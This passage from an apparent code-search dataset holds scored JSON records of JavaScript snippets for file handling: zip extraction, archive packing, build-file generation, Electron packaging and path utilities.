fileName));\n var fileExist = false;\n return new Promise(function (resolve, reject) {\n yauzl_1[\"default\"].open(path_1[\"default\"].join(filePath, fileName), { lazyEntries: true }, function (err, zipfile) {\n if (err) {\n var error = new Error(err.message);\n reject(boom_1[\"default\"].boomify(error, { statusCode: 400 }).output);\n return;\n }\n //read zip entry\n zipfile.readEntry();\n zipfile.on(\"entry\", function (entry) {\n if (/\\/$/.test(entry.fileName)) {\n console.log(\"Folder\");\n // Directory file names end with '/'.\n // Note that entires for directories themselves are optional.\n // An entry's fileName implicitly requires its parent directories to exist.\n zipfile.readEntry();\n }\n else {\n if (/(appconfig\\.json)/.test(entry.fileName)) {\n console.log(\"File Exist\");\n fileExist = true;\n zipfile.readEntry();\n }\n else {\n zipfile.readEntry();\n }\n console.log(\"File Does not Exist\");\n }\n });\n zipfile.on(\"error\", function (err) {\n reject(err);\n });\n zipfile.on(\"close\", function () {\n //check if appconfig file exist\n if (fileExist) {\n fs_1[\"default\"].createReadStream(path_1[\"default\"].join(filePath, fileName)).pipe(unzipper_1[\"default\"]\n .Extract({\n path: path_1[\"default\"].join(filePath, fileName.replace(\".zip\", \"\"))\n })\n .on(\"close\", function () {\n //finished extracting files\n //verify that the appconfig file is valid\n verifyAppConfig(reject, resolve, filePath, fileName.replace(\".zip\", \"\"));\n //resolve({ message: \"Successfully installed module\" });\n })\n .on(\"error\", function (err) {\n var error = new Error(err.message);\n reject(boom_1[\"default\"].boomify(error, { statusCode: 400 }).output);\n }));\n }\n else {\n //report error if appconfig doesnt exist\n var error = new Error(\"appconfig.json file does not exist at the root folder/zip\");\n reject(boom_1[\"default\"].boomify(error, { statusCode: 400 }).output);\n }\n });\n });\n });\n /* createModule({})\n .then(result => {\n //res.send(result);\n })\n .catch(error => {\n //res.status(500).send(error);\n });*/\n}", "title": "" }, { "docid": "ae5447510db2edc3e5e11a834c0729e3", "score": "0.45636025", "text": "name (file) {\n return \"[path][name].[ext]\"\n }", "title": "" }, { "docid": "1eb04ba6e4dcdd0d0979e015b105d9ef", "score": "0.45633703", "text": "function loadCubasePatchFile(vDebug) {\n var vFileSelector = Host.Classes.createInstance(\"CCL:FileSelector\");\n var vCubasePatch = {\n description: (\"Cubase Patch Script\"),\n extension: \"txt\",\n mimetype: \"text\"\n };\n vFileSelector.addFilter(vCubasePatch);\n vFileSelector.runOpen();\n var vPath = vFileSelector.getPath();\n var vOutArray = [];\n var vFile = Host.IO.openTextFile(vPath);\n if (vFile) {\n var idx = 0;\n var vGroupName = \"\";\n while (!vFile.endOfStream) {\n var vTextLine = vFile.readLine().toString();\n if (vTextLine.trim() == \"\" || vTextLine == null) {\n continue\n };\n if (vTextLine.indexOf(\"[script name]\") > -1) {\n vTextLine = vTextLine.replace(\"\\t\", \"\").replace(\"[script name]\", \"\");\n vOutArray[idx] = vTextLine.trim();\n idx++;\n continue\n };\n if (vTextLine.indexOf(\"[g\") > -1) {\n vTextLine = vTextLine.replace(\"\\t\", \"\");\n var _0xDC16 = vTextLine.split(\"]\");\n vGroupName = _0xDC16[1].trim();\n continue\n };\n if (vTextLine.indexOf(\"[p\") > -1 && vTextLine.indexOf(\",\") > -1) {\n vTextLine = vTextLine.replace(\"\\t\", \"\");\n var _0xDC16 = vTextLine.split(\"]\");\n var vProgramName = _0xDC16[1].trim();\n var vProgramNumber = _0xDC16[0].split(\",\");\n var _0xDCE3 = vProgramNumber[2];\n var _0xDCBA = vProgramNumber[3];\n var vBankNumber = (_0xDCE3 * 128) + _0xDCBA;\n vOutArray[idx] = (vProgramName + \",\" + vProgramNumber[1] + \",\" + vBankNumber + \",\" + vGroupName);\n idx++;\n continue\n }\n };\n vFile.close();\n if (vDebug == 1) {\n for (idx = 0; idx < vOutArray.length; idx++) {\n print(vOutArray[idx])\n }\n };\n return vOutArray\n }\n}", "title": "" }, { "docid": "7066c954d6a57ac65737e9b315ddbda5", "score": "0.45626456", "text": "function get_current_file_path() {\n return current_directory + \"/\" + current_file_name;\n}", "title": "" }, { "docid": "a2a838d37bf1aeca53d9f28f3a94f46c", "score": "0.45624575", "text": "function emptyPackfile(pack) {\n const pheader = '5041434b';\n const version = '00000002';\n const obCount = '00000000';\n const header = pheader + version + obCount;\n return pack.slice(0, 12).toString('hex') === header\n}", "title": "" }, { "docid": "fd80fb405f7d3a043c3e45d6190154d5", "score": "0.45607135", "text": "name (file) {\n return '[hash].[ext]'\n }", "title": "" }, { "docid": "7ddeb198e174c8c4c241b82ac232c354", "score": "0.456064", "text": "bundle() {\n if (this._bundled) {\n const recorded = this._recorded;\n this.reset();\n recorded.forEach(x => this.pipeline.write(x));\n }\n\n vfs.src(this.opts.entries, {\n cwd: this.opts.cwd,\n base: this.opts.base,\n }).pipe(this.pipeline);\n\n const output = readonly(this.pipeline);\n this.emit('bundle', output);\n this._bundled = true;\n\n return output;\n }", "title": "" }, { "docid": "71a15b4759fb4cc1aeacbb3d118b1467", "score": "0.45590693", "text": "function Start () \n{\n \n FindPath ();\n}", "title": "" }, { "docid": "644047ad00fbb10e66780f419cf84d9d", "score": "0.45524058", "text": "addFile (rootDir: string, fileName: string, targetDir: ?string): Promise {\n return new Promise((resolve, reject) => {\n const destFileName = targetDir\n ? path.join(targetDir, fileName)\n : fileName\n const checksumList = []\n const file = { name: destFileName }\n this._pushLocalFileHeader(file)\n\n const stream = fs.createReadStream(path.join(rootDir, fileName))\n let compressed = 0\n let uncompressed = 0\n\n const deflate = zlib.createDeflateRaw(this.options)\n\n deflate.on('data', (chunk) => {\n compressed += chunk.length\n this.queue.push(chunk)\n })\n\n deflate.on('end', () => {\n file.crc32 = crc32.signed(Buffer.concat(checksumList))\n file.compressed = compressed\n file.uncompressed = uncompressed\n\n this.fileptr += compressed\n this._pushDataDescriptor(file)\n\n this.files.push(file)\n resolve()\n })\n\n deflate.on('error', error => reject(error))\n\n stream.on('data', (chunk) => {\n uncompressed += chunk.length\n checksumList.push(Buffer.from(chunk))\n deflate.write(chunk)\n })\n\n stream.on('end', () => {\n deflate.end()\n })\n\n stream.on('error', error => reject(error))\n })\n }", "title": "" }, { "docid": "bd547230ebb82e7565131a0e649aa3cc", "score": "0.45468962", "text": "function tempString(filename){\nreturn fs.readFileSync(__dirname + '/' + filename, 'utf8')\n}", "title": "" }, { "docid": "9402f47d2a6bf5ca7c773df7e539ee22", "score": "0.4545659", "text": "async function afterPack({ appOutDir, electronPlatformName, packager }) {\n if (electronPlatformName !== 'linux') {\n return;\n }\n\n const appName = packager.appInfo.productFilename;\n const script = `#!/bin/bash\\n\"\\${BASH_SOURCE%/*}\"/${appName}.bin --no-sandbox \"$@\"`;\n const scriptPath = path.join(appOutDir, appName);\n\n await fs.rename(scriptPath, `${scriptPath}.bin`);\n await fs.writeFile(scriptPath, script);\n await fs.chmod(scriptPath, 0o755);\n}", "title": "" }, { "docid": "8dc1f88b7ce615906c9049a129f4e635", "score": "0.45436603", "text": "path() {\n return path.join(this.dest(), this.use());\n }", "title": "" }, { "docid": "7d9c688b6002d906f86785c40650a66e", "score": "0.45367843", "text": "static ExtractOggFile() {}", "title": "" }, { "docid": "a392b61e8414d8651432fbb026381136", "score": "0.45365083", "text": "function getWholeFilePath(name, parentfile, isDirectory) {\n var includePath = path__namespace.resolve(isDirectory ? parentfile : path__namespace.dirname(parentfile), // returns directory the parent file is in\n name // file\n ) + (path__namespace.extname(name) ? '' : '.eta');\n return includePath;\n}", "title": "" }, { "docid": "a392b61e8414d8651432fbb026381136", "score": "0.45365083", "text": "function getWholeFilePath(name, parentfile, isDirectory) {\n var includePath = path__namespace.resolve(isDirectory ? parentfile : path__namespace.dirname(parentfile), // returns directory the parent file is in\n name // file\n ) + (path__namespace.extname(name) ? '' : '.eta');\n return includePath;\n}", "title": "" }, { "docid": "13ec3d89807cd4ecd8541b05c30e9068", "score": "0.45362902", "text": "function pack()\n{\n var manifest = jsonfile.readFileSync(manifest_path),\n timestamp = (new Date).toISOString().replace(/z|t/gi, ' ').trim().replace(/\\:/g, '-').replace(/\\s/g, '_'),\n build_file_name = 'build_v' + manifest.version + '_' + timestamp + '.zip';\n return gulp.src(build_dir + '/**/*')\n .pipe(zip(build_file_name))\n .pipe(gulp.dest(builds_dir))\n .on('end', function () {\n fancy('Build saved into archive: ' + chalk.green(builds_dir + '/' + build_file_name));\n });\n}", "title": "" }, { "docid": "9a444b4cd6b22a736d61d9fad672c97c", "score": "0.4536236", "text": "get path() {\n return getBinaryPath();\n }", "title": "" }, { "docid": "c033ba382a08b919884380ada375a3ad", "score": "0.45357376", "text": "static packagePath(packageNumber) {\n\t\treturn this.getPackage(packageNumber).pfile.getPath();\n\t}", "title": "" }, { "docid": "2546488b2258cf0800a722ea7d5bb098", "score": "0.45323497", "text": "enterInsertFile(ctx) {\n\t}", "title": "" }, { "docid": "433e176729e7a27fefdead5eb1459f4b", "score": "0.45118296", "text": "function createxzip() {\r\n\r\n // create temporary header\r\n var retVal = 0;\r\n var tmp = fso.CreateTextFile(szHeaderFile);\r\n tmp.Write(\"HEX\"+String.fromCharCode(0)+\"HEX\");\r\n tmp.Close();\r\n\r\n // loop through module list\r\n var moduleList = xmlSource.documentElement.selectNodes(\"/xzip/module\");\r\n for ( var i=0; i<moduleList.length; i++ ) {\r\n\r\n var module = moduleList.nextNode();\r\n var modName = module.getAttribute(\"name\");\r\n var sourceDir = module.getAttribute(\"source\");\r\n //var fileList = module.selectNodes(\"//file\");\r\n modFile = scriptPath + '\\\\' + szPrefix + modName + \".bin\";\r\n\r\n // create command batch\r\n bat = fso.CreateTextFile(szBatchFile);\r\n bat.WriteLine(\"cd \"+szSourceDir);\r\n\r\n createxzipDirectory(module,sourceDir);\r\n\r\n bat.WriteLine(\"cd \"+scriptPath);\r\n bat.Close();\r\n\r\n // create empty bin file\r\n tmp = fso.CreateTextFile(modFile);\r\n tmp.Close();\r\n\r\n retVal = shell.Run(szBatchFile, 1, true);\r\n }\r\n\r\n // kill temporary header and batch\r\n fso.DeleteFile(szHeaderFile);\r\n fso.DeleteFile(szBatchFile);\r\n //fso.DeleteFile(szDefFile);\r\n //fso.DeleteFile(szPrefix+modName+\".bin\");\r\n}", "title": "" }, { "docid": "9aabbab2ed2fdfb905f92649a1574aee", "score": "0.4511097", "text": "function getFilePath(taskRoot, handlerModule) {\n let filePath = path.resolve(taskRoot, `${handlerModule}.js`);\n if (!fs.existsSync(filePath)) {\n filePath = path.resolve(taskRoot, `${handlerModule}.cjs`);\n }\n return filePath;\n}", "title": "" }, { "docid": "3bf34050952d9c2252588cdc74909511", "score": "0.45050064", "text": "start () {\n request({\n method: 'POST',\n headers: Object.assign({}, this.headers, {\n 'Content-Type': 'application/json'\n }),\n url: this.action,\n body: Object.assign(this.startBody, {\n phase: 'start',\n mime_type: this.fileType,\n size: this.fileSize\n })\n }).then(res => {\n if (res.status !== 'success') {\n this.file.response = res\n return this.reject('server')\n }\n\n this.sessionId = res.data.session_id\n this.chunkSize = res.data.end_offset\n\n this.createChunks()\n this.startChunking()\n }).catch(res => {\n this.file.response = res\n this.reject('server')\n })\n }", "title": "" }, { "docid": "a078d3bf8d3d3eed2306f0aee4c8a697", "score": "0.45048752", "text": "static GetMainAssetTypeAtPath() {}", "title": "" }, { "docid": "c229922befc0b8f2d068d2dc06fd9551", "score": "0.45022273", "text": "getPack() {\n throw new Error('getPack() is not implemented');\n }", "title": "" }, { "docid": "0dbca72b904312aa448cbe13d4e78fb6", "score": "0.44994396", "text": "function packRelease() {\n shipit.tarballName = path.join(shipit.config.workspace, shipit.releaseDirname + '.tar.gz');\n shipit.log('Creating tarball from %s and putting it %s', shipit.config.workspace, shipit.tarballName);\n return targz().compress(shipit.config.workspace, shipit.tarballName).then(function(){\n shipit.log(chalk.green('Tarball created successfully.'));\n });\n }", "title": "" }, { "docid": "53655111c5e31991bd18184859c98e8e", "score": "0.44908425", "text": "function generate_dsp_file(ext, ext_dir, files, shared)\n{\n\tvar dsp = FSO.CreateTextFile(\"tmp\\\\\" + ext + \".dsp\", true);\n\tvar tmpl = file_get_contents(\"win32\\\\build\\\\template.dsp\");\n\tvar ts = (PHP_ZTS != \"no\" ? \"ts\" : \"\");\n\tvar debug = (PHP_DEBUG != \"no\" ? \" /debug\" : \"\");\n\tvar ld = (debug ? \"/LDd\" : \"/LD\");\n\tvar status = (PHP_DEBUG == \"no\" ? 'Release' : 'Debug');\n\tvar statusts = status + (ts ? \"_\" + ts.toUpperCase() : \"\");\n\tvar baseflags = \"\";\n\n\t/* store the final path and value of shared in the tmp file */\n\tif (!ext.match(\"php5\")) {\n\t\ttmpl = ext_dir + \"\\\\\" + ext + \".dsp#\" + shared + tmpl;\n\t}\n\n\ttmpl = tmpl.replace(/extname/g, ext);\n\ttmpl = tmpl.replace(/Status_TS/g, statusts);\n\n\tif (debug) {\n\t\ttmpl = tmpl.replace(/Use_Debug_Libraries 0/g, \"Use_Debug_Libraries 1\");\n\t\ttmpl = tmpl.replace(/NDEBUG/g, \"_DEBUG\");\n\t}\n\n\tif (ext == \"cli\" || ext == \"cgi\") {\n\t\ttmpl = tmpl.replace(/Dynamic-Link Library/g, \"Console Application\");\n\t\ttmpl = tmpl.replace(/0x0102/, \"0x0103\");\n\t\tpath = \"..\\\\\";\n\t\ttype = \".exe\";\n\t} else if (ext == \"embed\" || ext == \"TSRM\" || ext == \"Zend\") {\n\t\ttmpl = tmpl.replace(/Dynamic-Link/g, \"Static\");\n\t\ttmpl = tmpl.replace(/0x0102/, \"0x0104\");\n\t\ttmpl = tmpl.replace(/LINK32/g, \"LIB32\");\n\t\ttmpl = tmpl.replace(\"link.exe\", \"link.exe -lib\");\n\t\ttmpl = tmpl.replace(/BASELIBS/g, \"/nologo\");\n\t\ttmpl = tmpl.replace(/\\s(LOCALLIBS|BASELDFLAGS|LOCALLDFLAGS|OUTPATH)/g, \"\");\n\t\tpath = \"..\\\\\";\n\t\tif (ext == \"embed\") {\n\t\t\tpath += \"..\\\\\";\n\t\t}\n\t\ttype = \".lib\";\n\t} else if (ext.match(\"php5\")) {\n\t\tpath = \"..\\\\\";\n\t\ttype = \".dll\";\n\t} else {\n\t\tpath = \"..\\\\..\\\\\";\n\t\ttype = \".dll\";\n\t}\n\n\toutpath = path + get_define(\"BUILD_DIR\");\n\ttmpl = tmpl.replace(/OUTPUTDIR/g, outpath);\n\n\t/* populate the baseline CFLAGS and libs */\n\tcflags = get_define(\"CFLAGS\").replace(/\\s+/g, \" \");\n\tcflags = cflags.replace('/I \"..\\\\bindlib_w32\" ', \"\");\n\tbcflags = (cflags.replace(/\\/([A-Z])\\s/g, \"/$1\")).split(\" \");\n\n\tfor (i= 0; i < bcflags.length; i++) {\n\t\tbaseflags += (bcflags[i].match(/(PHP|ZEND|ZTS|BASE|FD|WINDOWS)/) ? \"\" : bcflags[i]);\n\t}\n\n\tbaseflags = baseflags.replace(/\\//g, \" /\");\n\tbaseflags = baseflags.substr(1).replace(/(\\/D)/g, \"$1 \") + \" /c\";\n\ttmpl = tmpl.replace(/BASECPP/, (type == \".dll\" ? baseflags : baseflags.replace(ld + \" \", \"\")));\n\n\ttmpl = tmpl.replace(/BASELIBS/, \"/nologo \" + get_define(\"LIBS\").replace(/\\sresolv.lib/, \"\"));\n\n\t/* now populate the bases in the 'local' lines */\n\tincs = get_define(\"BASE_INCLUDES\").replace(/\\/I (\\S+)/g, '/I \"' + path + '$1\"');\n\tincs = incs.replace('\"' + path + '.\"', '\"..\"');\n\tlcflags = cflags.replace(/\\$\\(BASE_INCLUDES\\)/, incs + (type == \".exe\" ? '/I \"..\\\\sapi\" ' : \"\") + '/I \"' + path + '..\\\\bindlib_w32\"');\n\ttmpl = tmpl.replace(/BASECPP/, (type == \".dll\" ? lcflags : lcflags.replace(ld + \" \", \"\")));\n\ttmpl = tmpl.replace(/BASELIBS/, \"/nologo \" + get_define(\"LIBS\") + \" \" + (ext.match(\"php5\") ? \"\" : get_define(\"PHPLIB\")));\n\tldflags = get_define(\"LDFLAGS\").replace(/\\s?(\\/nologo|\\/libpath:\\S+)\\s?/g, \"\");\n\ttmpl = tmpl.replace(/BASELDFLAGS/, ldflags + (type == \".dll\" ? \" \" + get_define(\"DLL_LDFLAGS\") : \"\") + (debug ? ' /nodefaultlib:\"msvcrt\"' : \"\"));\n\tout = '/out:\"' + outpath + \"\\\\\" + ext + type + '\"' + ' /libpath:\"' + outpath + '\"' + ' /libpath:\"..\\\\' + path + 'bindlib_w32\\\\' + status + '\"';\n\ttmpl = tmpl.replace(/OUTPATH/, out);\n\n\ttxt = generate_text_filelist(ext, ext_dir);\n\tres = generate_resource_filelist(ext, ext_dir);\n\n\ttmpl = tmpl.replace(/TEXTFILES/, txt);\n\ttmpl = tmpl.replace(/RESOURCEFILES/, res);\n\n\tif (ext.match(\"php5\")) {\n\t\treturn tmpl;\n\t}\n\n\t/* generate source and header blocks for .dsp */\n\tgenerate_dsp_filelist(ext, ext_dir, files, path);\n\n\tdsp.Write(tmpl);\n\tdsp.Close();\n\n\treturn;\n}", "title": "" }, { "docid": "a9cfe807a0ae760d2da5a5b7a0c63bd4", "score": "0.447768", "text": "devtoolModuleFilenameTemplate(info) {\n return formatWindowsUri(path.relative(srcDir, info.absoluteResourcePath));\n }", "title": "" }, { "docid": "c3606cb81984fc8f87f30b618b0ec4fe", "score": "0.44730997", "text": "function onLoadClick() {\n const win = remote.getCurrentWindow()\n const opts = {\n title: 'Load',\n defaultPath: remote.app.getPath('desktop'),\n buttonLabel: 'Open',\n filters: [\n {\n name: 'Zip',\n extensions: ['zip']\n },\n { name: 'Png', extensions: ['png'] }\n ],\n properties: ['openFile']\n }\n const callback = async filepath => {\n if (filepath) {\n const ext = path.extname(filepath[0])\n\n if (ext === '.zip') {\n const dirPath = path.join(RECORDINGS_DIRECTORY, 'temp')\n await mkdirAsync(dirPath)\n\n yauzl.open(filepath[0], { lazyEntries: true }, (err, zipFile) => {\n if (err) throw err\n zipFile.readEntry()\n zipFile.on('entry', entry => {\n zipFile.openReadStream(entry, (err, readStream) => {\n if (err) throw err\n readStream.on('end', () => {\n zipFile.readEntry()\n })\n const ws = createWriteStream(path.join(dirPath, entry.fileName))\n readStream.pipe(ws)\n })\n })\n\n zipFile.on('end', async () => {\n const data = await readFileAsync(path.join(dirPath, 'project.json'))\n const project = JSON.parse(data)\n const folder = project.relative\n const newDirPath = path.join(RECORDINGS_DIRECTORY, folder)\n await renameAsync(dirPath, newDirPath)\n dispatch({ type: SET_PROJECT_FOLDER, payload: folder })\n })\n })\n } else if (ext === '.png') {\n const folder = createFolderName()\n const dirPath = path.join(RECORDINGS_DIRECTORY, folder)\n await mkdirAsync(dirPath)\n\n const imagePath = path.join(dirPath, '0.png')\n await copyFileAsync(filepath[0], imagePath)\n\n const [width, height] = await new Promise(resolve => {\n const image = new Image()\n image.onload = () => {\n resolve([image.width, image.height])\n }\n image.src = imagePath\n })\n\n const newProject = {\n relative: folder,\n date: new Date().getTime(),\n width,\n height,\n frames: [\n { time: 100, path: imagePath, clicked: false, cursorX: 0, cursorY: 0, keys: false }\n ]\n }\n\n const projectPath = path.join(dirPath, 'project.json')\n await writeFileAsync(projectPath, JSON.stringify(newProject))\n dispatch({ type: SET_PROJECT_FOLDER, payload: folder })\n }\n }\n }\n\n remote.dialog.showOpenDialog(win, opts, callback)\n }", "title": "" }, { "docid": "31f9425347adf4baf51a687531486995", "score": "0.44723433", "text": "static find(path) {\n\n\n\n if(path[0] == \"/\")\n path = path.substring(1);\n\n const filePath = appDir[appDir.length - 1] == \"/\" ?\n /*if*/ appDir+path\n /*else*/: `${appDir}/${path}`;\n\n if(!fs.existsSync(filePath)) {\n return null;\n }\n\n const readFile = fs.readFileSync(filePath),\n type = fileType(readFile),\n stats = fs.statSync(filePath),\n fileSizeInBytes = stats.size,\n filePathSplit = filePath.split(\"/\"),\n name = filePathSplit[filePathSplit.length - 1];\n\n\n var returnFile = new File();\n\n returnFile.path = filePath;\n returnFile.type = type == null ? null : type.mime;\n returnFile.name = name;\n returnFile.size = fileSizeInBytes;\n\n return returnFile;\n\n\n }", "title": "" }, { "docid": "25b30273d03aa13e9ec2154f2a07b799", "score": "0.44654843", "text": "installPhar () {\r\n let pathSrc = path.join(global.__static, 'codechecker.phar')\r\n let md5Src = md5.sync(pathSrc)\r\n let destExist = fs.existsSync(this.checkerPath)\r\n let md5Dest = (destExist) ? md5.sync(this.checkerPath) : ''\r\n\r\n console.log('Check codechecker.phar')\r\n if (!destExist || md5Src !== md5Dest) {\r\n console.log('Create ', this.checkerPath)\r\n fs.copyFileSync(pathSrc, this.checkerPath)\r\n fs.chmodSync(this.checkerPath, '777')\r\n }\r\n }", "title": "" }, { "docid": "47745d6e6f8ef9af601d2a2be0a14cd8", "score": "0.44651103", "text": "function sr(remain) {\n //hack for path.join remove the first dot\n return path.join(src_folder, remain);\n}", "title": "" }, { "docid": "98bc8103aefa22e31dbe6b3ff9e1b848", "score": "0.4463488", "text": "static LoadMainAssetAtPath() {}", "title": "" }, { "docid": "c611836dabd0bfc0c0866aae2937a5ce", "score": "0.44621065", "text": "componentDidMount() {\n // ! use url to load sketch files\n // let url = window.location.href\n // let slash_index = url.lastIndexOf(\"/\");\n // let fileName = url.slice(slash_index + 1);\n // console.log(fileName)\n // import Sketch from (\"components/Sketches/\" + fileName);\n }", "title": "" }, { "docid": "6e784cca2eb251b866128ccde5d8b89b", "score": "0.4459624", "text": "async function main() {\n await env.run(\"compile\");\n\n var rootPath = path.dirname(path.dirname(require.main.filename));\n\n await fs.copy(\n path.join(rootPath, \"/artifacts\"),\n path.join(rootPath, \"/src/artifacts\")\n );\n\n console.log(\"success\");\n}", "title": "" }, { "docid": "de58aa28ba349e8ac43551c36cfb3199", "score": "0.44587988", "text": "fileKeyMaker(fileObj) {\n return `${fileObj._id}.tar.gz`;\n }", "title": "" }, { "docid": "31c8700822e36e05c6c46bc34578fc55", "score": "0.4455123", "text": "function createPartFileEntry(grdpFilePath) {\n const relativeGrdpFilePath = getRelativeGrdpPath(grdpFilePath);\n return ` <part file=\"${relativeGrdpFilePath}\" />\\n`;\n}", "title": "" }, { "docid": "24cc138ba33ce7b58ebf06b81334828b", "score": "0.4453038", "text": "get packageLocation() {\n // We use ppath.join instead of ppath.resolve because:\n // 1) packageInformationData.packageLocation is a relative path when part of the SerializedState\n // 2) ppath.join preserves trailing slashes\n return resolvedPackageLocation || (resolvedPackageLocation = ppath.join(absolutePortablePath, packageInformationData.packageLocation));\n }", "title": "" }, { "docid": "230e1ebd2320053aec89c42b28bc2f37", "score": "0.445242", "text": "file(config, file, done) {\n var provisioner = provision.asModule(config);\n provisioner.provision_contracts(global);\n\n process.chdir(config.working_dir);\n\n module.filename = file;\n var dir = path.dirname(fs.realpathSync(file));\n\n for (var module_path in m._nodeModulePaths(dir)) {\n if (module.paths.indexOf(module_path) < 0) {\n module.paths.unshift(module_path);\n }\n }\n\n try {\n CoffeeScript.run(fs.readFileSync(file, {encoding: \"utf8\"}), {filename: file});\n } catch(e) {\n console.log(e.stack);\n process.exit(1);\n }\n }", "title": "" }, { "docid": "daf4c88dfa02fa32f649941cd6fa579a", "score": "0.44468793", "text": "async function findFlowRoot(start) {\n return (0, _fileUtils.searchUpDirPath)(start, async dirPath => {\n const flowConfigPath = _node.path.join(dirPath, '.flowconfig');\n\n try {\n return _node.fs.statSync(flowConfigPath).isFile();\n } catch (e) {\n // Not a file...\n return false;\n }\n });\n}", "title": "" }, { "docid": "0bf5bab49b123588f66600b550074b88", "score": "0.44380835", "text": "function compress() {\n src(\"build/*\").pipe(zip(\"template.zip\").pipe(dest(\"./\")));\n return Promise.resolve(\"Compress Completed\");\n}", "title": "" }, { "docid": "34ea6e288a72d208d7be69851754f11f", "score": "0.4435217", "text": "function getNpmpath (filepath) {\n let info = fileInfo(_path.join(filepath, 'package.json'))\n if (info && info.main) {\n return _path.join(filepath, info.main)\n } else {\n let temppath = _path.join(filepath, 'index.js')\n if (fileExist(temppath)) {\n return temppath\n } else {\n return null\n }\n }\n}", "title": "" }, { "docid": "bb24b664e253fc1b9463817188c6119b", "score": "0.4427338", "text": "function addFile(fileLocation){\n //cmd.get('ipfs add E:/IPFS_FileSharing/server.js',function(err,data,stderr){\n //make sure that we have made changes in fileLocation means for \n fileLocation = fileLocation.replace(/\\\\/g, '/');\n console.log(fileLocation);\n // now problem here is that it can give error also\n // so we should have to use promise here \n cmd.get('ipfs add '+fileLocation,function(err,data,stderr){ \n var arr = data.split(' ');\n //console.log(arr[1],arr[2]);\n return {\n filename:arr[2],\n hash:arr[1]\n }\n })\n }", "title": "" }, { "docid": "6a038aa5b9c2040c3991a1613ae35a76", "score": "0.44208536", "text": "function writeBanner( filename, tmpl ) {\n return new Promise( function( resolve, reject ) {\n file.get( filename, { encoding: 'utf8' } )\n .then( function( res ) {\n var newFile = '';\n\n if ( res.match( /\\/\\*\\*(.|\\n)+?\\*\\// ) ) {\n newFile = res.replace( /\\/\\*\\*(.|\\n)+?\\*\\//, tmpl )\n } else {\n newFile = tmpl + '\\n' + res;\n }\n\n file.write( filename, newFile )\n .then( function() {\n resolve();\n })\n })\n .catch( function( err ) {\n logger.log( chalk.red( 'Error updating source files', err ) );\n reject( err );\n });\n });\n}", "title": "" }, { "docid": "786ff7c500e09fc9975593bc3ebc8d8a", "score": "0.4420663", "text": "get installLocation() {\n return path.join(MODULES, this.toLocalName());\n }", "title": "" }, { "docid": "bef05e8e9cd3f8cd85e46e72c6a06401", "score": "0.44190085", "text": "function getXLSTemplateFolderPath(folderPath, fileName, processName)\n{\n\tvar s = folderPath + fileName;\n\tvar templateFolderPath = s.substring(0,s.indexOf(fileName,0));\n\ttemplateFolderPath = templateFolderPath.substring(0, templateFolderPath.indexOf(\"Import Files\", 0)); \n\ttemplateFolderPath += \"Import Files\\\\\" + processName + \"\\\\\";\n\t\n\treturn templateFolderPath;\n}", "title": "" }, { "docid": "00c7b464a4f3d420630dd4fea5488409", "score": "0.44185084", "text": "getPath() {\n return (0, tslib_1.__awaiter)(this, void 0, void 0, function* () {\n const opts = yield DryMongoBinary_1.DryMongoBinary.generateOptions(this.binaryOpts);\n return DryMongoBinary_1.DryMongoBinary.combineBinaryName(this.downloadDir, DryMongoBinary_1.DryMongoBinary.getBinaryName(opts));\n });\n }", "title": "" }, { "docid": "7128348419c367ba10418c330d7960fa", "score": "0.44169396", "text": "getCodePath(): string {\n return path.resolve(this.sandboxPath, CODE_FILE_NAME);\n }", "title": "" }, { "docid": "d27fa4f26731b18790668cf7021db57d", "score": "0.44166836", "text": "function copy_dsp_files()\n{\n\tvar tmp = FSO.GetFolder(\"tmp\");\n\tvar CORE_HEADERS = \"\";\n\tvar CORE_SOURCES = \"\";\n\tvar EXT_HEADERS = \"\";\n\tvar EXT_SOURCES = \"\";\n\tvar EXT_CFLAGS = \"\";\n\tvar EXT_LDFLAGS = \"\";\n\tvar EXT_LIBS = \"\";\n\tvar sblocks = \"\"; /* for sapis */\n\tvar mblocks = \"\"; /* for modules */\n\n\tf = new Enumerator(tmp.Files);\n\n\tfor (; !f.atEnd(); f.moveNext()) {\n\t\t/* retrieve the path */\n\t\tcontents = file_get_contents(f.item());\n\t\taddress = contents.slice(0, contents.indexOf(\"#\"));\n\t\tcontents = contents.slice(contents.indexOf(\"#\")+1);\n\t\tshared = contents.slice(0, contents.indexOf(\"#\"));\n\t\tcontents = contents.slice(contents.indexOf(\"#\"));\n\n\t\t/* pick up module name and path */\n\t\tpath = address.slice(0, address.lastIndexOf(\"\\\\\")+1);\n\t\text = address.slice(address.lastIndexOf(\"\\\\\")+1, address.length-4);\n\t\tEXT = ext.toUpperCase();\n\n\t\tif (path.match(/(sapi|ext)/)) {\n\t\t\trel = \"..\\\\..\\\\\";\n\t\t} else {\n\t\t\trel = \"..\\\\\";\n\t\t}\n\n\t\t/* pick up local flags and libs */\n\t\tcflags = get_define(\"CFLAGS_\" + EXT);\n\t\tcflags += (ext.match(/(TSRM|Zend)/) ? \"/D TSRM_EXPORTS \" : \"\");\n\t\tcflags += (ext.match(/Zend/) ? \"/D LIBZEND_EXPORTS \" : \"\");\n\t\tlibs = get_define(\"LIBS_\" + EXT);\n\t\tldflags = get_define(\"LDFLAGS_\" + EXT);\n\t\tldflags = ldflags.replace(/(\\.\\.\\\\)/g, rel + \"$1\");\n\t\tcontents = contents.replace(/LOCALCPP/, cflags + \" /c\");\n\t\tcontents = contents.replace(/LOCALLIBS/, libs);\n\t\tcontents = contents.replace(/LOCALLDFLAGS/, ldflags);\n\n\t\tif (ext.match(\"Zend\")) {\n\t\t\tarr = new Array(\"ini\", \"language\");\n\t\t\tparsers = generate_parsers_or_scanners(arr, \"Parsers\");\n\t\t\tscanners = generate_parsers_or_scanners(arr, \"Scanners\");\n\t\t\tcontents = contents.replace(/DEFS/, parsers + scanners);\n\t\t}\n\n\t\t/* none of these are core... */\n\t\tcontents = contents.replace(/\\r\\n(CORESOURCES|COREHEADERS|EXTSOURCES|EXTHEADERS|DEFS)\\r\\n/g, \"\");\n\n\t\tif (address.match(\"sapi\")) {\n\t\t\t/* most sapis are .dlls, just not cgi, cli, embed */\n\n\t\t\tif (ext == \"cli\") {\n\n\t\t\t\t/* change of address: php.dsp */\n\t\t\t\tnewext = \"cli\";\n\t\t\t\taddress = \"win32\\\\php.dsp\";\n\t\t\t\tsrcpath = \"..\\\\\" + path;\n\t\t\t\tcontents = contents.replace(/cli\\.exe/g, \"php.exe\");\n\n\t\t\t} else if (ext == \"cgi\") {\n\n\t\t\t\t/* change of address: php-cgi.dsp */\n\t\t\t\tnewext = \"cgi\";\n\t\t\t\taddress = \"win32\\\\php-cgi.dsp\";\n\t\t\t\tsrcpath = \"..\\\\\" + 